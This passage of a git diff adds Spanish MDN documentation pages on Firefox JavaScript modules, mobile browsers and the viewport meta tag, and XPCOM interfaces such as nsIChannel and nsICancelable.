+ <li><a href="/es/MozIStorageValueArray" title="es/MozIStorageValueArray">mozIStorageValueArray</a> Wraps an array of SQL values, such as a result row.</li>
+ <li><a href="/es/MozIStorageFunction" title="es/MozIStorageFunction">mozIStorageFunction</a> Create a new SQLite function.</li>
+ <li><a href="/es/MozIStorageAggregateFunction" title="es/MozIStorageAggregateFunction">mozIStorageAggregateFunction</a> Create a new SQLite aggregate function.</li>
+ <li><a href="/es/MozIStorageProgressHandler" title="es/MozIStorageProgressHandler">mozIStorageProgressHandler</a> Monitor progress during the execution of a statement.</li>
+ <li><a href="/es/MozIStorageStatementWrapper" title="es/MozIStorageStatementWrapper">mozIStorageStatementWrapper</a> Storage statement wrapper</li>
+</ul>
+<p></p>
diff --git a/files/es/módulos_javascript/index.html b/files/es/módulos_javascript/index.html
new file mode 100644
index 0000000000..c301b061ca
--- /dev/null
+++ b/files/es/módulos_javascript/index.html
@@ -0,0 +1,23 @@
+---
+title: Módulos JavaScript
+slug: Módulos_JavaScript
+tags:
+  - Firefox 3
+  - JavaScript
+  - Todas_las_Categorías
+  - XPConnect
+---
+<p>{{ Fx_minversion_header(3) }}</p>
+
+<p>Firefox 3 introduce el método <code><a href="es/Components.utils.import">Components.utils.import()</a></code> , que provee una sencilla forma de importar código JavaScript desde un módulo externo. Existe información sobre cómo configurar y <a href="es/Usando_m%c3%b3dulos_de_c%c3%b3digo_JavaScript">usar módulos JavaScript</a>. Los Módulos de JavaScript pueden también ser usados para <a href="es/Trabajar_con_ventanas_desde_c%c3%b3digo_chrome#Usando_m.C3.B3dulos_de_c.C3.B3digo_JavaScript">compartir datos</a> en extensiones.</p>
+
+<p>Además de ofrecer este método para importar módulos, Firefox incluye dos módulos por defecto:</p>
+
+<dl>
+ <dt>XPCOMUtils</dt>
+ <dd>El módulo <a href="es/XPCOMUtils.jsm">XPCOMUtils.jsm</a> provee facilidades para componentes de JavaScript cargados mediante el cargador de componentes de JavaScript.</dd>
+ <dt>JSON</dt>
+ <dd>El módulo <a href="es/JSON.jsm">JSON.jsm</a> provee facilidades para manipular datos JSON.</dd>
+ <dt>PluralForm</dt>
+ <dd>El módulo <a href="es/Localizaci%c3%b3n_y_Plurales">PluralForm.jsm</a> provee herramientas para pluralizar correctamente palabras en múltiples localizaciones.</dd>
+</dl>
diff --git a/files/es/móvil/index.html b/files/es/móvil/index.html
new file mode 100644
index 0000000000..151bec1066
--- /dev/null
+++ b/files/es/móvil/index.html
@@ -0,0 +1,30 @@
+---
+title: Móvil
+slug: Móvil
+tags:
+  - Mozilla
+translation_of: Mozilla/Mobile
+---
+<h2 id="Firefox_OS" name="Firefox_OS"><a href="/en-US/docs/Mozilla/Firefox_OS">Firefox OS</a></h2>
+
+<p>Firefox OS is an open source mobile operating system which uses Linux and Mozilla's Gecko engine to run a user interface and set of applications written entirely in HTML, CSS and JavaScript.</p>
+
+<p>Read about how to install Firefox OS and how to develop apps for it.</p>
+
+<h2 id="Firefox_for_Android" name="Firefox_for_Android"><a href="/en-US/docs/Mozilla/Firefox_for_Android">Firefox for Android</a></h2>
+
+<p>Firefox for Android is Mozilla's mobile web browser for Android devices. It's recently been rewritten to use Android's native UI, making it faster, leaner and more responsive. It provides support for powerful APIs to access device capabilities such as the camera and telephony stack.</p>
+
+<p>Read about how to help create Firefox for Android, how to use its device APIs, and how to build mobile add-ons.</p>
+
+<h2 id="Firefox_for_iOS" name="Firefox_for_iOS"><a href="/en-US/docs/Mozilla/Firefox_for_iOS">Firefox for iOS</a></h2>
+
+<p>Firefox for iOS is Mozilla's upcoming mobile web browser for iOS devices. Because of AppStore restrictions, it uses the built in WebView supplied by iOS rather than Gecko.</p>
+
+<p>Read about how to help with Firefox for iOS, and how to integrate it with your other iOS Apps.</p>
+
+<h2 id="Mobile_web_development" name="Mobile_web_development"><a href="/en-US/docs/Web/Guide/Mobile">Mobile web development</a></h2>
+
+<p>Mobile devices have very different hardware characteristics from desktop or laptop computers, and many of the APIs used to work with them are still in the process of being standardized.</p>
+
+<p>Read about how to develop web sites that look good on mobile devices and take advantage of the new possibilities they offer. Learn how to make sure your web site works well on different browsers.</p>
diff --git a/files/es/móvil/viewport_meta_tag/index.html b/files/es/móvil/viewport_meta_tag/index.html
new file mode 100644
index 0000000000..fd26b5bebf
--- /dev/null
+++ b/files/es/móvil/viewport_meta_tag/index.html
@@ -0,0 +1,89 @@
+---
+title: >-
+  Usando la etiqueta meta viewport para controlar la composición en los
+  navegadores móviles
+slug: Móvil/Viewport_meta_tag
+translation_of: Mozilla/Mobile/Viewport_meta_tag
+---
+<h2 id="Antecedentes">Antecedentes</h2>
+
+<p>El {{glossary("viewport")}} del navegador es el área de la ventana en donde el contenido web está visible. Generalmente no es del mismo tamaño que la página renderizada, en donde se brindan barras de desplazamiento para que el usuario pueda acceder a todo el contenido.</p>
+
+<p>Dispositivos con pantallas angostas (p.e. móviles) muestran la página en una ventana virtual o <em>viewport</em>, que es usualmente más ancho que la pantalla y la comprimen de manera que pueda verse completa. El usuario podrá recorrerla y hacer zoom para ver diferentes áreas de la página. Por ejemplo, si una pantalla móvil tiene un ancho 640px, las páginas pueden ser procesadas con un <em>viewport</em> de 980px, y después comprimidas para que entren en 640px.</p>
+
+<p>Esto se hace porque muchas páginas no están optimizadas para dispositivos móviles y se quiebran (o, al menos, se ven mal) cuando son procesadas a un ancho de <em>viewport</em> pequeño. El <em>viewport</em> virtual es una forma de resolver el problema de sitios no optimizados para móviles, logrando que se vean mejor.</p>
+
+<h3 id="Ingresar_el_meta_tag_viewport">Ingresar el meta tag viewport</h3>
+
+<p>Sin embargo, este mecanismo no es tan bueno para páginas que están optimizadas para pantallas pequeñas usando <a href="/en-US/docs/Web/CSS/Media_Queries">media queries</a> - si el <em>viewport</em> tiene, por ejemplo, 980px los media queries que se activan en 640px o 480px o menos nunca serán usados, limitando la efectividad de esas técnicas de diseño <em>responsive</em>.</p>
+
+<p>Para mitigar este problema, Apple introdujo el meta tag "viewport" en Safari para iOS que permite a los desarrolladores controlar su tamaño y escala. Muchos navegadores hoy lo soportan, aunque no es parte de ningún standard. La <a class="external" href="https://developer.apple.com/library/archive/documentation/AppleApplications/Reference/SafariWebContent/UsingtheViewport/UsingtheViewport.html">documentación</a> de Apple hace un buen trabajo explicando cómo los desarrolladores web pueden usar esta etiqueta, pero hemos tenido que hacer trabajo de detectives para descubrir exactamente cómo implementarlo en Fennec. Por ejemplo, la documentación de Safari dice que el contenido está "separado por comas", pero los navegadores existentes y las páginas web usan una mezcla entre comas, punto y coma y espacios como valores de separación.</p>
+
+<p>Puede aprenderse más sobre los diferentes navegadores móviles en <a class="external" href="http://www.quirksmode.org/mobile/viewports2.html" title="http://www.quirksmode.org/mobile/viewports2.html">A Tale of Two Viewports</a> en quirksmode.org.</p>
+
+<h2 id="Viewport_básico">Viewport básico</h2>
+
+<p>Un sitio típico optimizado para móvil contiene algo así:</p>
+
+<pre class="notranslate">&lt;meta name="viewport" content="width=device-width, <span id="the-code">user-scalable=no</span>"&gt;</pre>
+
+<p>La propiedad <code>width</code> controla el tamaño del viewport. Puede definirse con un número en pixeles como  <code>width=600</code> o con un valor especial <code>device-width</code> que es el equivalente al ancho de la pantalla en píxeles CSS en una escala de 100%. (Existen valores correspondientes de <code>height</code> y <code>device-height</code>, los cuales pueden ser útiles para páginas con elementos que cambian tamaño o posición basadas en la altura del viewport (height).</p>
+
+<p>La propiedad <code>initial-scale</code> controla el nivel de zoom cuando la página se carga por primera vez. Las propiedades <code>maximum-scale</code>, <code>minimum-scale</code>, y <code>user-scalable</code> controlan la forma en cómo se permite a los usuarios aumentar o disminiuir el zoom en la página.</p>
+
+<h2 id="Un_pixel_no_es_un_pixel">Un pixel no es un pixel</h2>
+
+<p>El iPhone y muchos teléfonos Android populares tienen pantallas de 3 a 4 pulgadas (7–10 cm) con 320—480 píxeles (~160 dpi). Firefox para Maemo se ejecuta en el Nokia N900, el cual físicamente tiene el mismo tamaño, pero 480—800 píxeles (~240 dpi). Debido a esto, la versión más reciente de Fennec mostró muchas páginas alrededor de un tercio más pequeñas (en tamaño real, tamaño físico) que iPhone o Android. Esto causó problemas de usabilidad y lectura en muchos sitios web optimizados con funcionalidad <em>touch</em>. Peter-Paul Koch escribió sobre este problema en <a class="external" href="http://www.quirksmode.org/blog/archives/2010/04/a_pixel_is_not.html">A pixel is not a pixel is not a pixel</a>.</p>
+
+<p>Fennec 1.1 para Maemo usa 1,5 pixels de hardware para cada "pixel" de CSS, siguiendo los criterios de los navegadores en Android basados en WebKit. Esto significa que una página con un valor de <span style="line-height: 16.7999992370605px;"> </span><code style="font-style: normal; line-height: 16.7999992370605px;">initial-scale=1</code><span style="line-height: 16.7999992370605px;"> </span><span style="line-height: 16.7999992370605px;">se mostrará renderizada aproximadamente al mismo tamaño físico en Fennec para Maemo, Safari Mobile para iPhone, y el navegador de Android tanto en teléfonos  </span><a class="external" href="http://developer.android.com/guide/practices/screens_support.html#range" style="line-height: 16.7999992370605px;">HDPI y MDPI</a>. Esto es consistente con la especificación <a class="external" href="http://www.w3.org/TR/CSS2/syndata.html#length-units" style="text-decoration: underline; line-height: 16.7999992370605px;">CSS 2.1</a>, que dice:</p>
+
+<blockquote>
+<p>Si la densidad en pixeles del aparato es muy diferente de aquella típica en pantalla de computadores, el "user agent" deberá reescalar los valores en pixeles. Se recomienda que la unidad de pixel refiera al número total de pixels del aparato que más se aproxime al pixel de referencia. Se recomienda también que el pixel de referencia sea el ángulo visual de un pixel en un aparato con una densidad de pixels de 96dpi y una distancia del lector del largo de un brazo.</p>
+</blockquote>
+
+<p>Para los desarrolladores web, esto supone que 320px es el ancho máximo en modo retrato a scale=1, y todos los dispositivos mencionados anteriormente, deben ajustarse acorde al tamaño la maquetación y las imágenes. Pero recuerda que no todos los móviles tienen el mismo ancho; debes asegurarte además que tus páginas funcionan corectamente en modo apaisado, y en dispositivos más grandes como el iPad o las tablets Android.</p>
+
+<p>En las pantallas de 240-ppp, las páginas con <code>initial-scale=1</code> serán escaladas efectivamente a un 150% tanto en Fennec como en Android WebKit. Su texto será suave y fresco, pero sus imágenes de bitmap probablemente no obtengan ninguna ventaja de la máxima resolución de la pantalla. Para obtener imágenes más finas en estas pantallas, los desarrolladores web deben diseñar imágenes - o maquetaciones completas - al 150% de sus tamaño final (o al 200%, para soportar dispositivos de 320-ppp como por ejemplo el iPhone con pantalla retina) y entonces disminuar la escala usando CSS o las propiedades del viewport.</p>
+
+<p>La relación por defecto depende de la densidad de la pantalla. En una pantalla con una densidad inferior a 200ppp, el ratio es 1.0. En pantallas con densidades entre 200 y 300ppp, el ratio es 1.5. Para pantallas con densidades por encima de 300ppp, el ratio es el entero inferior (<em>densidad</em>/150ppp). Hay que observar que el ratio por defecto es cierto sólo cuando la escala del viewport es igual a 1. En cualquier otro caso, la relación entre los pixels en CSS y en el dispositivo dependen del nivel de zoom en cada momento.</p>
+
+<h2 id="Ancho_del_viewport_y_ancho_de_la_pantalla">Ancho del viewport y ancho de la pantalla</h2>
+
+<p>Muchos sitios establecen su viewport a <code>"width=320, initial-scale=1"</code> para ajustarse de manera precisa a la pantalla del iPhone en modo portrait. Tal y como se menciona arriba, esto causa <a class="external" href="http://starkravingfinkle.org/blog/2010/01/perils-of-the-viewport-meta-tag/">problemas</a> cuando Fennec 1.0 renderiza estos sitios, especialmente en modo landscape. Para arreglar esto, Fennec 1.1 expandirá el ancho del viewport si es necesario para rellenar la pantalla a la escala requerida. Esto encaja con el comportamiento de Android y Mobile Safari, y es especialmente útil en dispositivos de gran pantalla como el iPad (el sitio de Allen Pike <a class="external" href="http://www.antipode.ca/2010/choosing-a-viewport-for-ipad-sites/">Choosing a viewport for iPad</a> tiene una buena explicación para desarrolladores web).</p>
+
+<p>Para páginas que establecen una escala inicial o máxima, esto se traduce en que la propiedad <code>width </code>realmente pasa a ser el ancho <em>mínimo</em> del viewport. Por ejemplo, si tu diseño necesita al menos 500 píxeles de ancho entonces  podrás usar la siguiente anotación. Cuando la pantalla tenga un ancho mayor a 500 píxeles, el navegador extenderá el viewport (en lugar de acercar el zoom) para ajustarlo a la pantalla:</p>
+
+<pre class="notranslate">&lt;meta name="viewport" content="width=500, initial-scale=1"&gt;</pre>
+
+<p>Fennec 1.1 también añade soporte para <code>minimum-scale</code>, <code>maximum-scale</code> y <code>user-scalable </code>con valores por defecto y límites similares a los de <a class="external" href="http://developer.apple.com/safari/library/documentation/AppleApplications/Reference/SafariHTMLRef/Articles/MetaTags.html">Safari</a>. Estas propiedades afectan a la escala inicial y al ancho, además de limitar los cambios a nivel de zoom.</p>
+
+<p>Los navegadores para dispositivos móviles responden a los cambios de orientación de manera ligeramente diferente. Por ejemplo, Mobile Safari a menudo solo amplía el zoom de la página cuando se cambia la orientación portrait a la landscape, en lugar de exponer la página como si originalmente se hubiera cargado en landscape. Si los desarrolladores web quieren que su escala establecida permanezca consistente cuando cambie la orientación en un iPhone, deben añadir un valor <code>maximum-scale </code>para prevenir éste efecto de zoom, el cual tiene el (a veces) efecto secundario indeseado de impedir que los usuarios acerquen el zoom:</p>
+
+<pre class="notranslate">&lt;meta name="viewport" content="initial-scale=1, maximum-scale=1"&gt;</pre>
+
+<p>Esto no es necesario en Fennec; cuando el dispositivo cambia de orientación, Fennec actualiza el tamaño de viewport, el diseño de la página, y las propiedades de  JavaScript/CSS como <code>device-width</code>, basadas en las nuevas dimensiones de la pantalla.</p>
+
+<h2 id="Tamaños_Comunes_de_Viewport_en_Equipos_Móviles_y_Tabletas">Tamaños Comunes de Viewport en Equipos Móviles y Tabletas </h2>
+
+<p>Si quieres saber qué tipo de ancho de viewport tienen los equipos móviles y tabletas, hay una lista exhaustiva aquí: <a href="http://i-skool.co.uk/mobile-development/web-design-for-mobiles-and-tablets-viewport-sizes/" title="http://i-skool.co.uk/mobile-development/web-design-for-mobiles-and-tablets-viewport-sizes/">mobile and tablet viewport sizes</a>. La lista te brinda información tanto del ancho del viewport en los modos de orientación vertical y horizontal ("portrait" y "landscape"), así como del tamaño de la pantalla, sistema operativo y la densidad de píxeles del dispositivo.</p>
+
+<h2 id="Standards">Standards</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Device', '#viewport-meta', '&lt;meta name="viewport"&gt;')}}</td>
+   <td>{{Spec2('CSS3 Device')}}</td>
+   <td>Non-normatively describes the Viewport META element</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Claramente existe demanda por la etiqueta "meta viewport", ya que es soportada por la mayoría de los buscadores móviles y usada por miles de sitios web. Sería bueno contar con un verdadero estándar para que las páginas web puedan controlar las propiedades del viewport. Mientras avance el proceso de estandarización, en Mozilla trabajaremos para asegurarnos de poder implementar cualquier cambio realizado durante dicho proceso.</p>
diff --git a/files/es/nsdirectoryservice/index.html b/files/es/nsdirectoryservice/index.html
new file mode 100644
index 0000000000..37eb6d6505
--- /dev/null
+++ b/files/es/nsdirectoryservice/index.html
@@ -0,0 +1,11 @@
+---
+title: nsDirectoryService
+slug: nsDirectoryService
+---
+<h3 id="Resumen" name="Resumen">Resumen</h3>
+<p>El servicio de directorio XPCOM devuelve las ubicaciones de directorios "bien conocidos" en los sistemas operativos de una forma independiente. Por ejemplo puede indicarle la ruta del directorio temporal del sistema, el directorio de trabajo actual, etc.</p>
+<pre class="eval"> ClassID:    f00152d0-b40b-11d3-8c9c-000064657374
+ ContractID: @mozilla.org/file/directory_service;1
+</pre>
+<h3 id="Interfaces_soportados" name="Interfaces_soportados">Interfaces soportados</h3>
+<p><code><a href="es/NsIProperties">nsIProperties</a></code>, <code><a href="es/NsIDirectoryService">nsIDirectoryService</a></code></p>
diff --git a/files/es/nsicancelable/index.html b/files/es/nsicancelable/index.html
new file mode 100644
index 0000000000..f54b4aea34
--- /dev/null
+++ b/files/es/nsicancelable/index.html
@@ -0,0 +1,50 @@
+---
+title: nsICancelable
+slug: nsICancelable
+tags:
+  - Interfaces
+  - Todas_las_Categorías
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsICancelable
+---
+<p> </p>
+<p> </p>
+<p><br>
+ La interfaz <code>nsICancelable</code> ofrece in método para cancelar una operación de descarga que está en progreso.</p>
+<p><br>
+ </p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/netwerk/base/public/nsICancelable.idl" rel="custom">netwerk/base/public/nsICancelable.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9 (Firefox 3)</span></div>
+</div><p></p>
+<p>Inherits from: <a href="es/NsISupports">nsISupports</a></p>
+<h2 id="Descripci.C3.B3n_de_m.C3.A9todo" name="Descripci.C3.B3n_de_m.C3.A9todo">Descripción de método</h2>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td><code>void <a href="#cancel.28.29">cancel</a>(in <a href="es/Nsresult">nsresult</a> aReason);</code></td>
+  </tr>
+ </tbody>
+</table>
+<h2 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h2>
+<h3 id="cancel.28.29" name="cancel.28.29">cancel()</h3>
+<p>CLlama a éste método para solicitar la cancelación de cualquier operación que pueda estar realizando.</p>
+<pre class="eval"> void cancel(
+   in nsresult aReason
+ );
+</pre>
+<h6 id="Par.C3.A1metros" name="Par.C3.A1metros">Parámetros</h6>
+<dl>
+ <dt>
+  &lt;tt&gt;aReason&lt;/tt&gt;</dt>
+ <dd>
+  Un código de fallo indica porqué la operación ha sido cancelada. Es un error pasar un código de éxito.</dd>
+</dl>
+<div class="noinclude">
+  </div>
+<p></p>
diff --git a/files/es/nsichannel/index.html b/files/es/nsichannel/index.html
new file mode 100644
index 0000000000..a221ea5b33
--- /dev/null
+++ b/files/es/nsichannel/index.html
@@ -0,0 +1,183 @@
+---
+title: nsIChannel
+slug: nsIChannel
+tags:
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIChannel
+---
+<p>La interfaz <code>nsIChannel</code> permite a los clientes construir peticiones "GET" para protocolos específicos y manejarlos de forma uniforme.</p>
+
+<p><br>
+ <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIChannel" title="">nsIChannel</a></code> is defined in <a class="external" href="http://mxr.mozilla.org/mozilla/source/netwerk/base/public/nsIChannel.idl" rel="freelink">http://mxr.mozilla.org/mozilla/sourc...nsIChannel.idl</a> .</p>
+
+<p>Una vez que se crea un canal (via nsIIOService::newChannel), pueden presentarse parámetros para esa petición usando los atributos de canal, o poniéndose en cola (QI'ing) de una subclase de nsIchannel para los parámetros específicos del protocolo. Entonces, puede buscarse la URI llamando nsIChannel::open o nsIChannel::asyncOpen. Después de que una petición se ha completado, el canal está aún disponible para acceder a resultados específicos del protocolo. Por ejemplo, poniéndose en cola (QI'ing) a nsIHttpChannel permite que se puedan leer las correspondientes cabeceras de respuesta de una transacción http.</p>
+
+<h3 id="M.C3.A9todos" name="M.C3.A9todos">Métodos</h3>
+
+<h4 id="open.28.29" name="open.28.29">open()</h4>
+
+<pre class="eval">nsIInputStream open();
+</pre>
+
+<p>Abre un canal de forma síncrona.</p>
+
+<p>@return blocking input stream to the channel's data.</p>
+
+<p>NOTA: las implementaciones nsIChannel no requieren implementar este método. Aún más, ya que este método puede llegar a bloquear el proceso de la llamada, no debería usarse en el transcurso del proceso de eventos UI.</p>
+
+<p>NOTA: Las implementaciones deberían devolver NS_ERROR_IN_PROGRESS si se re-abre el canal.</p>
+
+<h4 id="asyncOpen.28.29" name="asyncOpen.28.29">asyncOpen()</h4>
+
+<pre class="eval">void asyncOpen(in nsIStreamListener aListener, in nsISupports aContext);
+</pre>
+
+<p>Abre este canal de forma asíncrona. Los datos son enviados al canal de escucha en cuanto están disponibles. El método de escucha es llamado en el mismo hilo en que se encuentra la operación de llamada asyncOpen y no es llamado hasta después del retorno de la función asyncOpen. Si asyncOpen devuelve con éxito, el canal prometo llamar al menos a onStartRequest y onStopRequest.</p>
+
+<p>Si el objeto nsIRequest pasado al método de escucha no está en este canal, es necesario enviar una notificación onChannelRedirect antes de llamar a onStartRequest.</p>
+
+<p>Si llamada de retorno del canal y del grupo de carga no ofrecen un nsIChannelEventSink al hacer la llamada a onChannelRedirect, esto es equivalente a haber llamado a onChannelRedirect.</p>
+
+<p>Si asyncOpen retorna con éxito, el canal es responsable de mantenerse vivo hasta que reciba una llamada onStopRequest en la escucha o se lame a onChannelRedirect.</p>
+
+<p>Las implementaciones tienen permitido añadirse por sí mismas, de forma síncrona, al grupo de carga asociado (si lo hay).</p>
+
+<p>NOTA: Las implementaciones deberían devolver NS_ERROR_ALREADY_OPENED si un canal es re-abierto.</p>
+
+<p>@param aListener the nsIStreamListener implementation @param aContext an opaque parameter forwarded to aListener's methods @see nsIChannelEventSink for onChannelRedirect</p>
+
+<h3 id="Atributos" name="Atributos">Atributos</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Atributo</td>
+   <td class="header">Tipo</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>originalURI</code></td>
+   <td><code><a href="es/NsIURI">nsIURI</a></code></td>
+   <td>La URI original usada para construir el canal. Esto se usa en el caso de una "resolución" de una URI re-dirigida (p.e. resolviendo un recurso: URI a archivo: URI) de forma que la URI original (antes de la redireción) esté disponible.
+    <p>NOTA: esto es notablemente distinto del Referer de http (URI referente) que es usualmente la página que contenía la URI original (accesible desde nsIHttpChannel).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>URI</code></td>
+   <td>readonly <code><a href="es/NsIURI">nsIURI</a></code></td>
+   <td>La URI correspondienter al canal. Su valor es inmutable.</td>
+  </tr>
+  <tr>
+   <td><code>owner</code></td>
+   <td><code><a href="es/NsISupports">nsISupports</a></code></td>
+   <td>El dueño, correspondiendo a la entidad que es responsable por este canal. Lo usa el agente de seguridad para otorgar o denegar privilegios al código cargado a través de este canal.
+    <p>NOTA: esto es una fuerte referencia al dueño, de forma que si este está también manteniendo una fuerte referencia al canal, hay que tener mucho cuidado de cortar explícitamente la referencia al canal.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>notificationCallbacks</code></td>
+   <td><code><a href="es/NsIInterfaceRequestor">nsIInterfaceRequestor</a></code></td>
+   <td>Las llamadas de notificación devueltas al canal. Estas son realizadas por el cliente, que quiere ofrecer una forma de recibir notificaciones de progreso, estado o específicas del protocolo. Si este valor es NULL, la implementación del canal puede usar las llamadas devueltas a su grupo de carga. El canal también puede interrogar las llamadas desde su grupo de carga, si las notificaciones que le llegan no ofrecen el interfaz requerido.
+    <p>Los interfaces usualmente requeridos incluyen: nsIProgressEventSink, nsIPrompt, y nsIAuthPrompt/nsIAuthPrompt2.</p>
+
+    <p>Cuando el canal ha terminado, no debe mantener ninguna referencia a estos objetos.</p>
+
+    <p>NOTA: Una implementación de un canal debe tener cuidado cuando almacena ("caching") el puntero de un interfaz llamado en una notificación. Si la notificación cambia, el puntero almacenado puede ser invalido y por tanto debería ser buscado de nuevo.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>securityInfo</code></td>
+   <td>readonly <code><a href="es/NsISupports">nsISupports</a></code></td>
+   <td>Información de seguridad a nivel transporte (si la hay) correspondiente al canal.</td>
+  </tr>
+  <tr>
+   <td><code>contentType</code></td>
+   <td>readonly <code><a href="es/ACString">ACString</a></code></td>
+   <td>El tipo MIME del contenido del canal, si está disponible.
+    <p>NOTA: el tipo de contenido está, a menudo, incorrectamente especificado (p.e. extensión incorrecta del archivo, tipo MIME incorrecto, tipo de documento equivocado en el servidor, etc.) y es aconsejeble que el llamante verifique los datos propiamente.</p>
+
+    <p>Establecer contentType antes de que el canal esté abierto, da una pista al canal sobre que tipo de MIME se va a encontrar. El canal puede ignorar esta pista y decidir el tipo MIME que va a reportar.</p>
+
+    <p>Establecer contentType despues de que onStartRequest sea llamado o despues de llamar a open(), sobre escribirá el tipo determinado por el canal.</p>
+
+    <p>Establecer contentType en el momento entre que asyncOpen() es llamada y el momento en que se lanza onStartRequest tendrá resultados inpredecibles en este momento.</p>
+
+    <p>El valor del atributo contentType es una cadena en minúsculas. El valor asignado a este atributo será analizado y nomalizado de la siguiente forma:</p>
+
+    <p>1- cualquier parámetro (delimitado con ';') será desnudado. 2- si se da un parámetro del tipo charset, su valor reemplazará el atributo contentCharset del canal. 3- el valor desnudado será convertido a minúsculas. cualquier implementación de nsIChannel debe seguir estas reglas.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>contentCharset</code></td>
+   <td>readonly <code><a href="es/ACString">ACString</a></code></td>
+   <td>El juego de caracteres del contenido del canal si está disponible y es aplicable. Este atributo solo se aplica a datos tipo texto.
+    <p>El valor del atributo contentCharset es una cadena de mayúsculas y minúsculas.</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>contentLength</code></td>
+   <td>readonly <code><a href="es/Long">long</a></code></td>
+   <td>La longitud de los datos asociados con el canal si está disponible. Un valor de -1 indica que la longitud es desconocida.
+    <p>Los llamantes deberían escoger leer la propiedad "content-length" como un valor de 64 bit pasando a través de nsIPropertyBag2, si esta interfaz está disponible al canal.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Constantes" name="Constantes">Constantes</h3>
+
+<p>Flags de carga específicos del canal:</p>
+
+<p>Los bit 22 a 31 están reservados para un uso futuro de esta interfaz o una de sus derivadas (ejem. ver nsICachingChannel).</p>
+
+<p> </p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Constante</td>
+   <td class="header">Valor</td>
+   <td class="header">Descripción</td>
+  </tr>
+  <tr>
+   <td><code>LOAD_DOCUMENT_URI</code></td>
+   <td><code>16</code></td>
+   <td>Establecer (p.e. a través de docshell) para indicar si el canal corresponde o no a un documento URI.</td>
+  </tr>
+  <tr>
+   <td><code>LOAD_RETARGETED_DOCUMENT_URI</code></td>
+   <td><code>17</code></td>
+   <td>Si el consumidor final de esta carga ha sido cambiado tras conocer su contenido, este flag será establecido:</td>
+  </tr>
+  <tr>
+   <td><code>LOAD_REPLACE</code></td>
+   <td><code>18</code></td>
+   <td>Este flag se establece a para indicar que este canal está reemplazando a otro canal. Esto significa que:
+    <p>1) se pasó al método asyncOpen la escucha en la que este canal sería notificado, de algún otro canal</p>
+
+    <p>y</p>
+
+    <p>2) la URI de este canal es un mejor identificador del recurso que está siendo accedido que la URI original del canal.</p>
+
+    <p>Este flag puede ser establecido, por ejemplo, por redirectores o en casos en que un solo canal tiene múltiples partes (y por tanto pueden seguir onStopRequest con otro par onStartRequest/onStopRequest, cada par para una petición distinta).</p>
+   </td>
+  </tr>
+  <tr>
+   <td><code>LOAD_INITIAL_DOCUMENT_URI</code></td>
+   <td><code>19</code></td>
+   <td>Establecer (p.e. a través de docshell) para indicar si el canal corresponde o no a la URI original de la carga (e.g., link click).</td>
+  </tr>
+  <tr>
+   <td><code>LOAD_TARGETED</code></td>
+   <td><code>20</code></td>
+   <td>Establecer (p.e. por el URILoader) para indicar si el consumidor final para esta carga ha sido determinado.</td>
+  </tr>
+  <tr>
+   <td><code>LOAD_CALL_CONTENT_SNIFFERS</code></td>
+   <td><code>21</code></td>
+   <td>Si este flag está establecido, el canal debería llamar al analizador de contenidos según se describe en nsNetCID.h acerca NS_CONTENT_SNIFFER_CATEGORY.
+    <p>Nota: Los canales pueden ignorar este flag. Sin embargo, la implementación de nuevos canales deberían hacer esto sólo por una buena razón.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/es/nsidomofflineresourcelist/index.html b/files/es/nsidomofflineresourcelist/index.html
new file mode 100644
index 0000000000..ea595df8c8
--- /dev/null
+++ b/files/es/nsidomofflineresourcelist/index.html
@@ -0,0 +1,228 @@
+---
+title: nsIDOMOfflineResourceList
+slug: nsIDOMOfflineResourceList
+tags:
+  - Interfaces
+  - Todas_las_Categorías
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Reference/Interface/nsIDOMOfflineResourceList
+---
+<p> El interfaz <code>nsIDOMOfflineResourceList</code> ofrece acceso al "application-cache" (memoria cache temporal de la aplicación) que permite que los recursos del contenido web sean almacenados localmente para ser usados en modo desconectado. Este interfaz incluye métodos para agregar recursos o eliminar recursos de la cache, así como hacer una lista de los recursos manejados dinámicamente.</p>
+
+<p><br>
+ </p><div style="border: solid #ddd 2px; margin-bottom: 12px;">
+<div style="background: #eee; padding: 2px;"><code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/public/idl/offline/nsIDOMOfflineResourceList.idl" rel="custom">dom/public/idl/offline/nsIDOMOfflineResourceList.idl</a></code><span style="text-align: right; float: right;"><a href="/en-US/docs/Interfaces/About_Scriptable_Interfaces" style="color: #00cc00; font-weight: 700;">Scriptable</a></span></div>
+<span style="padding: 4px 2px;">
+
+<i>Please add a summary to this article.</i>
+</span>
+
+<div style="background: #eee; padding: 2px;">
+<span> </span>
+<span style="text-align: right; float: right;">Last changed in Gecko 1.9 (Firefox 3)</span></div>
+</div><p></p>
+
+<p>Inherits from: <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsISupports" title="">nsISupports</a></code></p>
+
